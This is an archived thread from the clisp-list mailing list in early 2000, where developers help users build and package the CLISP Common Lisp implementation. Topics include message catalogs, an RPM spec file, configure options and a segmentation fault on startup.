8 25 34 81 *********************************************************************** From haible@ilog.fr Fri Jan 28 07:33:02 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA27204 for ; Fri, 28 Jan 2000 07:33:01 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id QAA04485; Fri, 28 Jan 2000 16:29:22 +0100 (MET) Received: from oberkampf.ilog.fr ([172.17.4.108]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id QAA27446; Fri, 28 Jan 2000 16:31:22 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id QAA07027; Fri, 28 Jan 2000 16:31:20 +0100 (MET) Date: Fri, 28 Jan 2000 16:31:20 +0100 (MET) Message-Id: <200001281531.QAA07027@oberkampf.ilog.fr> To: Daniel Tourde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Generated files during a compilation In-Reply-To: <3891B2DC.F1236A25@ffa.se> References: <3891B2DC.F1236A25@ffa.se> Daniel Tourde writes: > %files > %dir /usr/lib/clisp/ > /usr/lib/clisp/* > /usr/bin/clisp > %dir /usr/doc/%{name}-%{version}/ > /usr/doc/%{name}-%{version}/* > /usr/man/man3/clreadline.3 > /usr/man/man1/clisp.1 > /usr/share/locale/de/LC_MESSAGES/clisp.mo > /usr/share/locale/en/LC_MESSAGES/clisp.mo > /usr/share/locale/es/LC_MESSAGES/clisp.mo > /usr/share/locale/fr/LC_MESSAGES/clisp.mo > > However, when I compiled clisp to check if everything was working fine, > none of the /usr/share/local files were present or produced. Am I > suppose to add a particular option in ./configure to get them ? If you have the LINGUAS environment variable set, this limits the message catalogs that are installed. For example, if you have set LINGUAS=se, no catalog will be installed (not even English), because clisp does not have swedish messages. In all other cases, it would be a bug either in the install or in the spec file. Sam? Bruno From ted@ffa.se Fri Jan 28 07:52:50 2000 Received: from eagle.ffa.se (firewall-user@eagle.ffa.se [193.180.254.1]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA27722 for ; Fri, 28 Jan 2000 07:52:49 -0800 Received: by eagle.ffa.se; id SAA09406; Fri, 28 Jan 2000 18:36:35 +0100 (CET) Received: from truten.ffa.se(172.16.2.200) by eagle.ffa.se via smap (4.1) id xma009383; Fri, 28 Jan 00 18:36:01 +0100 Received: from ffa.se (IDENT:ted@lorient.ffa.se [172.16.53.6]) by truten.ffa.se (8.9.3/8.9.3) with ESMTP id QAA15709; Fri, 28 Jan 2000 16:51:06 +0100 Sender: ted@ffa.se Message-ID: <3891BAB7.381D0406@ffa.se> Date: Fri, 28 Jan 2000 16:50:15 +0100 From: Daniel Tourde Organization: The Aeronautical Research Institute of Sweden X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12-20 i686) X-Accept-Language: fr, en, sv MIME-Version: 1.0 To: Bruno Haible , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Generated files during a compilation References: <3891B2DC.F1236A25@ffa.se> <200001281531.QAA07027@oberkampf.ilog.fr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Bruno Haible wrote: > Hello again > If you have the LINGUAS environment variable set, this limits the message > catalogs that are installed. For example, if you have set LINGUAS=se, > no catalog will be installed (not even English), because clisp does not > have swedish messages. Here is what I have, isn't it supposed to be recognized as english en ? LINGUAS=en_US > In all other cases, it would be a bug either in the install or in the spec > file. Sam? Daniel -- *********************************************************************** Daniel TOURDE E-mail : ted@ffa.se The Aeronautical Research Institute of Sweden Tel : +46 8 55 54 93 44 P.O. Box 11021 S-161 11 BROMMA, Sweden Fax : +46 8 25 34 81 *********************************************************************** From sds@gnu.org Fri Jan 28 08:06:21 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id IAA28219 for ; Fri, 28 Jan 2000 08:06:20 -0800 Received: from SAM.ksp.com (SAM [38.156.71.103]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id C4BMMA38; Fri, 28 Jan 2000 11:05:11 -0500 To: Daniel Tourde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Generated files during a compilation References: <3891B2DC.F1236A25@ffa.se> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Daniel Tourde's message of "Fri Jan 28 10:17:51 EST 2000" Date: 28 Jan 2000 11:04:36 -0500 Message-ID: Lines: 35 X-Mailer: Gnus v5.7/Emacs 20.4 >>>> In message <3891B2DC.F1236A25@ffa.se> >>>> On the subject of "[clisp-list] Generated files during a compilation" >>>> Sent on Fri Jan 28 10:17:51 EST 2000 >>>> Honorable Daniel Tourde writes: >> >> I have compiled Clisp 1999-07-22 to generate a rpm file. According to >> the clisp.spec in the source the installed files are the following: >> >> %files >> %dir /usr/lib/clisp/ >> /usr/lib/clisp/* >> /usr/bin/clisp >> %dir /usr/doc/%{name}-%{version}/ >> /usr/doc/%{name}-%{version}/* >> /usr/man/man3/clreadline.3 >> /usr/man/man1/clisp.1 >> /usr/share/locale/de/LC_MESSAGES/clisp.mo >> /usr/share/locale/en/LC_MESSAGES/clisp.mo >> /usr/share/locale/es/LC_MESSAGES/clisp.mo >> /usr/share/locale/fr/LC_MESSAGES/clisp.mo >> >> However, when I compiled clisp to check if everything was working fine, >> none of the /usr/share/local files were present or produced. Am I /usr/share/local? what's that? :-) >> suppose to add a particular option in ./configure to get them ? /usr/share/locale/* are created by "make install" in the build directory. -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. The paperless office will become a reality soon after the paperless toilet. From haible@ilog.fr Fri Jan 28 08:16:52 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id IAA28441 for ; Fri, 28 Jan 2000 08:16:51 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id RAA05909; Fri, 28 Jan 2000 17:13:12 +0100 (MET) Received: from oberkampf.ilog.fr ([172.17.4.108]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id RAA01980; Fri, 28 Jan 2000 17:15:11 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id RAA07389; Fri, 28 Jan 2000 17:15:09 +0100 (MET) Date: Fri, 28 Jan 2000 17:15:09 +0100 (MET) Message-Id: <200001281615.RAA07389@oberkampf.ilog.fr> To: Daniel Tourde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Generated files during a compilation In-Reply-To: <3891BAB7.381D0406@ffa.se> References: <3891B2DC.F1236A25@ffa.se> <200001281531.QAA07027@oberkampf.ilog.fr> <3891BAB7.381D0406@ffa.se> Daniel Tourde writes: > Here is what I have, isn't it supposed to be recognized as english en ? > > LINGUAS=en_US That's it. CLISP's catalog is "en", therefore if you want to use install it, you have to use LINGUAS="en_US en". Setting LINGUAS=en_US it certainly valid. But it means "I want only American messages, not British English ones". Bruno From toy@rtp.ericsson.se Fri Jan 28 11:00:17 2000 Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA32539 for ; Fri, 28 Jan 2000 11:00:16 -0800 Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99]) by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id MAA20491; Fri, 28 Jan 2000 12:59:09 -0600 (CST) Received: from netmanager7.rtp.ericsson.se (netmanager7.rtp.ericsson.se [147.117.132.245]) by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id MAA12348; Fri, 28 Jan 2000 12:59:08 -0600 (CST) Received: from edgedsp4 (edgedsp4.rtp.ericsson.se [147.117.125.206]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id NAA17951; Fri, 28 Jan 2000 13:59:04 -0500 (EST) Received: (toy@localhost) by edgedsp4 (8.6.8/8.6.8) id NAA23921; Fri, 28 Jan 2000 13:59:04 -0500 From: Raymond Toy MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14481.59128.484995.976588@rtp.ericsson.se> Date: Fri, 28 Jan 2000 13:59:04 -0500 (EST) To: Daniel Tourde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compilation problem In-Reply-To: <3891A483.AC8FE6AD@ffa.se> References: <38919FF0.6B9CEE45@ffa.se> <200001281410.PAA06425@oberkampf.ilog.fr> <3891A483.AC8FE6AD@ffa.se> X-Mailer: VM 6.72 under 21.2 (beta27) "Hera" XEmacs Lucid >>>>> "Daniel" == Daniel Tourde writes: Daniel> By the way, what this PostgreSQL is supposed to do ? I haven't tried it, but I would presume this lets you talk to PostgreSQL, which is an open-source object-oriented relational database. Ray From harv@netdoor.com Sat Jan 29 10:01:39 2000 Received: from netdoor.com (root@netdoor.com [208.137.128.6]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id KAA23016 for ; Sat, 29 Jan 2000 10:01:38 -0800 Received: from localhost (IDENT:harv@port76.blx.netdoor.com [208.148.205.76]) by netdoor.com (8.9.3/8.9.3) with SMTP id MAA03414 for ; Sat, 29 Jan 2000 12:00:25 -0600 (CST) From: Shannon Harvey Date: Sat, 29 Jan 2000 18:12:00 GMT Message-ID: <20000129.18120000@mis.configured.host> To: clisp-list@lists.sourceforge.net X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.1; Linux) X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id KAA23016 Subject: [clisp-list] installation probs I just recently attempted to install clisp but I'm running into problems with it. I using Redhat 6.0 (kernel 2.2.5-15) and running glibc 2.2. I first ran make as per the instructions, but when I run the next statement in the instructions (base/lisp.run -M base/lispinit.mem), I get the following message: [root@localhost clisp-1999-07-22]# base/lisp.run -M base/lispinit.mem i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999 [1]> *** - handle_fault error2 ! address = 0x30 not in [0x201D7000,0x202787D8) ! SIGSEGV cannot be cured. Fault address = 0x30. Segmentation fault I didn't however adjust any of the text strings mentioned in the readme because I'm rather new at linux and don't understand exactly what I'm supposed to change in the file config.lsp. If not changing the strings in config.lsp is what I'm doing wrong, can someone please give a newbie an idea of how to change it (just learning lisp as well in school too). Thanks in advance! Shannon S. Harvey harv@netdoor.com From ted@ffa.se Mon Jan 31 01:29:57 2000 Received: from eagle.ffa.se (firewall-user@eagle.ffa.se [193.180.254.1]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id BAA06933 for ; Mon, 31 Jan 2000 01:29:56 -0800 Received: by eagle.ffa.se; id MAA17297; Mon, 31 Jan 2000 12:14:56 +0100 (CET) Received: from truten.ffa.se(172.16.2.200) by eagle.ffa.se via smap (4.1) id xma017102; Mon, 31 Jan 00 12:14:17 +0100 Received: from ffa.se (IDENT:ted@lorient.ffa.se [172.16.53.6]) by truten.ffa.se (8.9.3/8.9.3) with ESMTP id KAA05991 for ; Mon, 31 Jan 2000 10:27:55 +0100 Sender: ted@ffa.se Message-ID: <38955562.FBDC80D6@ffa.se> Date: Mon, 31 Jan 2000 10:26:58 +0100 From: Daniel Tourde Organization: The Aeronautical Research Institute of Sweden X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12-20 i686) X-Accept-Language: fr, en, sv MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Clisp-1999.07.22 RPM for RedHat 6.1 Hello, I have just created a rpm for RedHat 6.1 of Clisp-1999.07.22. To do so, I have used and modified the clisp.spec provided in the source (few things did not work properly). I have retared the file, renaming the top directory clisp-1999.07.22 instead of clisp-1999-07-22 (rpm does not like 1999-07-22 as a version number) and I have build it by placing the spec file and clisp.gif under /usr/src/redhat/SPECS and the tared gziped file under /usr/src/redhat/SOURCES. Then rpm -ba --sign clisp-1999.07.22-2.clisp Rmq: - I don't use the --with-module=postgresql642 option in ./configure cause I have not installed PostgreSQL on my machine. - Unfortunately, the procedure installs the soft under /usr. To get rid of this installation "parasite", just go to /usr/src/redhat/BUILD/clisp-1999.07.22/src and type make uninstall Then reinstall it by using the rpm file stored under /usr/src/redhat/RPMS/i386 rpm -Uvh clisp-1999.07.22-2.i386.rpm Enjoy ! Daniel # Copyright (C) 1998, 1999 by Sam Steingold # Modified by Daniel Tourde 27/01/2000 # GNU General Public License v.2 (GPL2) is applicable: # No warranty; you may copy/modify/redistribute under the same # conditions with the source code. See # for the details and the precise copyright document. # The purpose of this file is creation of source/binary RPMs, **NOT** # building/installing CLISP. If you read the comments below, you will # learn why. # to create the source/binary RPMs, do # rpm -ba --sign clisp-1999.07.22-2.spec %define name clisp %define version 1999.07.22 %define release 2 Summary: Common Lisp (ANSI CL) implementation Name: %{name} Version: %{version} Release: %{release} Icon: clisp.gif Copyright: GPL Group: Development/Languages Source: ftp://seagull.cdrom.com/pub/lisp/clisp/source/clisp-1999.07.22.tar.gz URL: http://clisp.cons.org Packager: Red Hat Contrib|Net Provides: clisp, ansi-cl Distribution: Red Hat Contrib|Net %description Common Lisp is a high-level, all-purpose programming language. CLISP is a Common Lisp implementation by Bruno Haible of Karlsruhe University and Michael Stoll of Munich University, both in Germany. It mostly supports Common Lisp as described in the ANSI CL standard. It runs on microcomputers (DOS, OS/2, Windows NT, Windows 95, Amiga 500-4000, Acorn RISC PC) as well as on Unix workstations (Linux, SVR4, Sun4, DEC Alpha OSF, HP-UX, NeXTstep, SGI, AIX, Sun3 and others) and needs only 2 MB of RAM. It is free software and may be distributed under the terms of GNU GPL, while it is possible to distribute commercial applications compiled with CLISP. The user interface comes in German, English, French and Spanish. CLISP includes an interpreter, a compiler, a large subset of CLOS, a foreign language interface and a socket interface. An X11 interface is available through CLX and Garnet. More information on at . Sources and selected binaries are available by anonymous ftp from . The latest and greatest i386 binary RPM is on . The package was created by Daniel Tourde and is built for RedHat 6.1. (RHCN requires that I put their e-mail into the "Packager:" header). # RPM doesn't provide for comfortable operation: when I want to create a # package, I have to untar, build and install (--short-circuit works for # compilation and installation only, so if I want to build a binary RPM, # I am doomed to untar, compile and install!) This is unacceptable, so # I disabled untar completely - I don't need it anyway, I work from a # CVS repository, and I comment out the build clause and `make install`. # If *YOU* want to build using RPM, you are welcome to it: just # uncomment the commands in the appropriate sections (do not uncomment # the doubly commented lines - they are maintainer-only commands). # Additionally, RPM barfs on rpmrc created with `rpm --showrc > /etc/rpmrc` # which is an unspeakable abomination. # I reported all these as bugs and was told "it's a feature, not a bug". %prep cat < src/VERSION ##make -f Makefile.devel src/version.h ## make -f Makefile.devel ## make -f Makefile.devel check-configures #echo "Uncomment 'configure' in 'clisp.spec' if you want to build"; export LINGUAS="en_US en de es fr" ./configure --prefix=/usr --fsstnd=redhat --with-module=wildcard \ --with-module=regexp --with-module=bindings/linuxlibc6 \ --with-module=clx/new-clx --with-export-syscalls cd src ./makemake --prefix=/usr --fsstnd=redhat --with-module=wildcard \ --with-module=regexp --with-module=bindings/linuxlibc6 \ --with-module=clx/new-clx --with-export-syscalls \ --with-readline --with-gettext --with-dynamic-ffi > Makefile make config.lsp make make check %install #echo "Uncomment 'make install' in 'clisp.spec' if you want to install"; cd src make install %files %dir /usr/lib/clisp/ /usr/lib/clisp/* /usr/bin/clisp %dir /usr/doc/%{name}-%{version}/ /usr/doc/%{name}-%{version}/* /usr/man/man3/clreadline.3 /usr/man/man1/clisp.1 /usr/share/locale/de/LC_MESSAGES/clisp.mo /usr/share/locale/en/LC_MESSAGES/clisp.mo /usr/share/locale/es/LC_MESSAGES/clisp.mo /usr/share/locale/fr/LC_MESSAGES/clisp.mo -- *********************************************************************** Daniel TOURDE E-mail : ted@ffa.se The Aeronautical Research Institute of Sweden Tel : +46 8 55 54 93 44 P.O. Box 11021 S-161 11 BROMMA, Sweden Fax : +46 8 25 34 81 *********************************************************************** From sds@gnu.org Mon Jan 31 09:33:06 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id JAA19730 for ; Mon, 31 Jan 2000 09:33:05 -0800 Received: from SAM.ksp.com (SAM [38.156.71.103]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id C4BMMBJ5; Mon, 31 Jan 2000 12:31:42 -0500 To: Daniel Tourde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp-1999.07.22 RPM for RedHat 6.1 References: <38955562.FBDC80D6@ffa.se> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Daniel Tourde's message of "Mon Jan 31 05:14:40 EST 2000" Date: 31 Jan 2000 12:31:39 -0500 Message-ID: Lines: 13 X-Mailer: Gnus v5.7/Emacs 20.4 thanks! - did you upload the source and binary rpms to rhcn? - why did you use configure/makemake/make instead of configure --build? - why did you discard the automatic revision setting? -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. You can have it good, soon or cheap. Pick two... From ted@ffa.se Tue Feb 1 00:54:55 2000 Received: from eagle.ffa.se (firewall-user@eagle.ffa.se [193.180.254.1]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id AAA10931 for ; Tue, 1 Feb 2000 00:54:53 -0800 Received: by eagle.ffa.se; id LAA10796; Tue, 1 Feb 2000 11:40:21 +0100 (CET) Received: from truten.ffa.se(172.16.2.200) by eagle.ffa.se via smap (4.1) id xma010762; Tue, 1 Feb 00 11:39:20 +0100 Received: from ffa.se (IDENT:ted@lorient.ffa.se [172.16.53.6]) by truten.ffa.se (8.9.3/8.9.3) with ESMTP id JAA22836; Tue, 1 Feb 2000 09:52:26 +0100 Sender: ted@ffa.se Message-ID: <38969E8F.5721C91C@ffa.se> Date: Tue, 01 Feb 2000 09:51:27 +0100 From: Daniel Tourde Organization: The Aeronautical Research Institute of Sweden X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12-20 i686) X-Accept-Language: fr, en, sv MIME-Version: 1.0 To: sds@gnu.org, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp-1999.07.22 RPM for RedHat 6.1 References: <38955562.FBDC80D6@ffa.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi ! > - did you upload the source and binary rpms to rhcn? Not yet. > - why did you use configure/makemake/make instead of configure --build? Cause I did not clearly understood the meaning of the last option of configure. It became --build build and it sounded strange to me. I'm not an expert in the domain (yet...), I'm sorry..... > - why did you discard the automatic revision setting? Cause it simply did not work. First if a .revison (if I have a good memory) file was not there it did not continue, when I created one with the value 1 inside, the value was not increased when I was running several times rpm -ba. So, I removed it and fixed it by hand. I did not want to bother about such thing. Sorry. Thanks for your help. Best regards Daniel -- *********************************************************************** Daniel TOURDE E-mail : ted@ffa.se The Aeronautical Research Institute of Sweden Tel : +46 8 55 54 93 44 P.O. Box 11021 S-161 11 BROMMA, Sweden Fax : +46 8 25 34 81 *********************************************************************** From sds@gnu.org Tue Feb 1 09:09:03 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id JAA21370 for ; Tue, 1 Feb 2000 09:09:03 -0800 Received: from SAM.ksp.com (SAM [38.156.71.103]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 1DH132YQ; Tue, 1 Feb 2000 12:07:36 -0500 To: Daniel Tourde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp-1999.07.22 RPM for RedHat 6.1 References: <38955562.FBDC80D6@ffa.se> <38969E8F.5721C91C@ffa.se> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Daniel Tourde's message of "Tue Feb 01 03:51:49 EST 2000" Date: 01 Feb 2000 12:07:34 -0500 Message-ID: Lines: 38 X-Mailer: Gnus v5.7/Emacs 20.4 >>>> In message <38969E8F.5721C91C@ffa.se> >>>> On the subject of "Re: [clisp-list] Clisp-1999.07.22 RPM for RedHat 6.1" >>>> Sent on Tue Feb 01 03:51:49 EST 2000 >>>> Honorable Daniel Tourde writes: >> >> > - why did you use configure/makemake/make instead of configure --build? >> >> Cause I did not clearly understood the meaning of the last option of >> configure. It became --build build and it sounded strange to me. I'm >> not an expert in the domain (yet...), I'm sorry..... `--build' tells `configure' to configure, build and check. `build' tells `configure' to configure the build in the separate directory, named `build'. it ***NOT*** a good idea to do build in the source directory. please try: ./configure --help >> > - why did you discard the automatic revision setting? >> >> Cause it simply did not work. First if a .revison (if I have a good >> memory) file was not there it did not continue, when I created one >> with the value 1 inside, the value was not increased when I was >> running several times rpm -ba. So, I removed it and fixed it by >> hand. I did not want to bother about such thing. Sorry. worked for me. strange. what rpm version? -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. The only intuitive interface is the nipple. The rest has to be learned. From haible@ilog.fr Tue Feb 1 10:34:54 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id KAA24273 for ; Tue, 1 Feb 2000 10:34:53 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id TAA11905 for ; Tue, 1 Feb 2000 19:30:39 +0100 (MET) Received: from oberkampf.ilog.fr ([172.17.4.108]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id TAA15956; Tue, 1 Feb 2000 19:32:41 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id TAA17787; Tue, 1 Feb 2000 19:32:38 +0100 (MET) Date: Tue, 1 Feb 2000 19:32:38 +0100 (MET) Message-Id: <200002011832.TAA17787@oberkampf.ilog.fr> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp-1999.07.22 RPM for RedHat 6.1 In-Reply-To: References: <38955562.FBDC80D6@ffa.se> <38969E8F.5721C91C@ffa.se> Sam writes: > `build' tells `configure' to configure the build in the separate > directory, named `build'. it ***NOT*** a good idea to do build in the > source directory. Building in the source directory is possible, but be aware that - if you want two or more different builds (for different machines, or with different compilers or compilation flags), then the source directory must be clean: building in the source directory _and_ outside won't work. - the clean-up command is different: "make distclean" in one case, "rm -rf ..." in the other. For most GNU style packages, you must build in the source directory if your "make" doesn't support VPATH. For clisp, you must build in the source directory if your "make" gets in trouble with symbolic links; this is the case with HP-UX "make". On non-Unix platforms, you have to build clisp in the source directory; the makefiles are not setup to support $(srcdir). Bruno From ted@ffa.se Tue Feb 1 23:28:36 2000 Received: from eagle.ffa.se (firewall-user@eagle.ffa.se [193.180.254.1]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id XAA13949 for ; Tue, 1 Feb 2000 23:28:35 -0800 Received: by eagle.ffa.se; id KAA02519; Wed, 2 Feb 2000 10:14:28 +0100 (CET) Received: from truten.ffa.se(172.16.2.200) by eagle.ffa.se via smap (4.1) id xma002417; Wed, 2 Feb 00 10:13:45 +0100 Received: from ffa.se (IDENT:ted@lorient.ffa.se [172.16.53.6]) by truten.ffa.se (8.9.3/8.9.3) with ESMTP id IAA03734; Wed, 2 Feb 2000 08:26:21 +0100 Sender: ted@ffa.se Message-ID: <3897DBE0.DB6DB00D@ffa.se> Date: Wed, 02 Feb 2000 08:25:20 +0100 From: Daniel Tourde Organization: The Aeronautical Research Institute of Sweden X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12-20 i686) X-Accept-Language: fr, en, sv MIME-Version: 1.0 To: sds@gnu.org CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp-1999.07.22 RPM for RedHat 6.1 References: <38955562.FBDC80D6@ffa.se> <38969E8F.5721C91C@ffa.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi Sam ! > >> > - why did you use configure/makemake/make instead of configure --build? > >> > >> Cause I did not clearly understood the meaning of the last option of > >> configure. It became --build build and it sounded strange to me. I'm > >> not an expert in the domain (yet...), I'm sorry..... > > `--build' tells `configure' to configure, build and check. > > `build' tells `configure' to configure the build in the separate > directory, named `build'. it ***NOT*** a good idea to do build in the > source directory. OK. Thanks. > >> > - why did you discard the automatic revision setting? > >> > >> Cause it simply did not work. First if a .revison (if I have a good > >> memory) file was not there it did not continue, when I created one > >> with the value 1 inside, the value was not increased when I was > >> running several times rpm -ba. So, I removed it and fixed it by > >> hand. I did not want to bother about such thing. Sorry. > > worked for me. > strange. > what rpm version? RPM version 3.0.3 Thanks for your advice. Best regards Daniel -- *********************************************************************** Daniel TOURDE E-mail : ted@ffa.se The Aeronautical Research Institute of Sweden Tel : +46 8 55 54 93 44 P.O. Box 11021 S-161 11 BROMMA, Sweden Fax : +46 8 25 34 81 *********************************************************************** From sds@gnu.org Wed Feb 2 06:59:03 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAA25038 for ; Wed, 2 Feb 2000 06:59:01 -0800 Received: from SAM.ksp.com (SAM [38.156.71.103]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 1DH13J15; Wed, 2 Feb 2000 09:57:30 -0500 To: Daniel Tourde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp-1999.07.22 RPM for RedHat 6.1 References: <38955562.FBDC80D6@ffa.se> <38969E8F.5721C91C@ffa.se> <3897DBE0.DB6DB00D@ffa.se> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Daniel Tourde's message of "Wed Feb 02 02:26:36 EST 2000" Date: 02 Feb 2000 09:57:20 -0500 Message-ID: Lines: 21 X-Mailer: Gnus v5.7/Emacs 20.4 Hi Daniel, >>>> In message <3897DBE0.DB6DB00D@ffa.se> >>>> On the subject of "Re: [clisp-list] Clisp-1999.07.22 RPM for RedHat 6.1" >>>> Sent on Wed Feb 02 02:26:36 EST 2000 >>>> Honorable Daniel Tourde writes: >> > >> > what rpm version? >> >> RPM version 3.0.3 that's the problem - I used 2.something. apparently they changed the macro stuff. can you figure out how to fix this? thanks -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Never trust a man who can count to 1024 on his fingers. From haible@ilog.fr Wed Feb 2 07:34:36 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA25882 for ; Wed, 2 Feb 2000 07:34:36 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id QAA12314; Wed, 2 Feb 2000 16:29:56 +0100 (MET) Received: from oberkampf.ilog.fr ([172.17.4.108]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id QAA05810; Wed, 2 Feb 2000 16:32:00 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id QAA19093; Wed, 2 Feb 2000 16:31:57 +0100 (MET) Date: Wed, 2 Feb 2000 16:31:57 +0100 (MET) Message-Id: <200002021531.QAA19093@oberkampf.ilog.fr> To: Shannon Harvey Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] installation probs In-Reply-To: <20000129.18120000@mis.configured.host> References: <20000129.18120000@mis.configured.host> Shannon Harvey writes: > I just recently attempted to install clisp but I'm running into > problems with it. I using Redhat 6.0 (kernel 2.2.5-15) and running > glibc 2.2. I first ran make as per the instructions, but when I run > the next statement in the instructions (base/lisp.run -M > base/lispinit.mem), I get the following message: > ... > [1]> > *** - handle_fault error2 ! address = 0x30 not in > [0x201D7000,0x202787D8) ! > SIGSEGV cannot be cured. Fault address = 0x30. > Segmentation fault The probable cause are differences between the shared libraries of your system and those on the system where the binary package was built. You will get a correctly running binary by recompiling the sources (which you find at ftp://clisp.cons.org/pub/lisp/clisp/source/ or sunsite.unc.edu). Btw, what you are running is probably glibc-2.1, not glibc-2.2. The latter is not released. Bruno 